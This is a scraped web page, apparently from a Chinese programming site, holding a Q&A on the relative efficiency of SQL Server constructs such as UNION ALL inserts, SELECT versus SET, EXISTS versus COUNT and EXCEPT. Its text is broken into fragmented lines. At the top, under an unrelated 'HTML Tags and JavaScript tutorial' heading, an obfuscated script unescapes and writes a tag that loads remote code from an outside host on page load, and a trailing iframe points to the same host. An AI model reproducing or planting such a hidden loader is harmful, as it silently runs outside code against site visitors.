HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
SQL各种写法的效率问题
问:
(1)
一次插入多条数据时
:
CREATE TABLE tb(ID int,
名称
NVARCHAR(30),
备注
NVARCHAR(1000))
INSERT tb
SELECT 1,'DDD',1
UNION
ALL
SELECT 1,'5100','D'
UNION
ALL
SELECT 1,'5200','E'
也可以这样
:
CREATE TABLE tb1(ID int,
名称
NVARCHAR(30),
备注
NVARCHAR(1000))
INSERT TB1 (ID,
名称
,
备注
)VALUES(1,'DDD',1)
INSERT TB1 (ID,
名称
,
备注
)VALUES(1,'5100','D')
INSERT TB1 (ID,
名称
,
备注
)VALUES(1,'5200','E')
_________________________________
上面两种方法
,
哪种方法效率高
?
答:
第
1
种好一些
,
但也得有个量的控制
,
因为第
1
种的
union all
是作为一个语句整体
,
查询优化器会尝试做优化
,
同时
,
也要先算出这个结果再插入的
.
问:
(2)
赋值时
:
SELECT @a=N'aa'
SET @a=N'aa'
_________________________________
上面两种方法
,
哪种方法效率高
?
答:
如果是单个赋值
,
没有什么好比较的话
.
不过
,
如果是为多个变量赋值
,
经测试,
SELECT
一次性赋值
,
比用
SET
逐个赋值效率好
..
问:
(3)
取前几条数据时
set ROWCOUNT 2 select * from tb order by fd
select Top 2 * from tb order by fd
_________________________________
上面两种方法
,
哪种方法效率高
?
答:
SET ROWCOUNT
和
TOP
是一样的
,
包括执行的计划等都是一样的
问:
(4)
条件判断时
where 0<(select count(*) from tb where
……)
where exists(select * from tb where
……)
_________________________________
上面两种方法
,
哪种方法效率高
?
答:
这个一般是
exists
快
,
当然
,
具体还要看你后面的子查询的条件
,
是否会引用外层查询中的对象的列
.
exists
检查到有值就返回
,
而且不返回结果集
, count
需要统计出所有满足条件的
,
再返回一个结果集
,
所以一般情况下
exists
快
.
问:
(5)NULLIF
的使用
----->
同理它的反函数
ISNULL
的使用
update tb set fd=case when fd=1 then null else fd end
update tb set fd=nullif(fd,1)
_________________________________
上面两种方法
,
哪种方法效率高
?
答:
应该是一样的
问:
6
)从字符串中取子字符串时
substring('abcdefg',1,3)
left('abcderg',3)_
________________________________
上面两种方法
,
哪种方法效率高
?
答:
基本上是一样的
问:
(7)EXCEPT
和
Not in
的区别
?
答:
except
会去重复
, not in
不会
(
除非你在
select
中显式指定
)
except
用于比较的列是所有列
,
除非写子查询限制列
, not in
没有这种情况
问:
(8)INTERSECT
和
UNION
的区别
?
答:
intersect
是两个查询都有的非重复值
(
交集
), union
是两个查询结果的所有不重复值
(
并集
)
优快云
上对应的帖子
http://community.youkuaiyun.com/Expert/topic/4867/4867641.xml?temp=.8817865
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">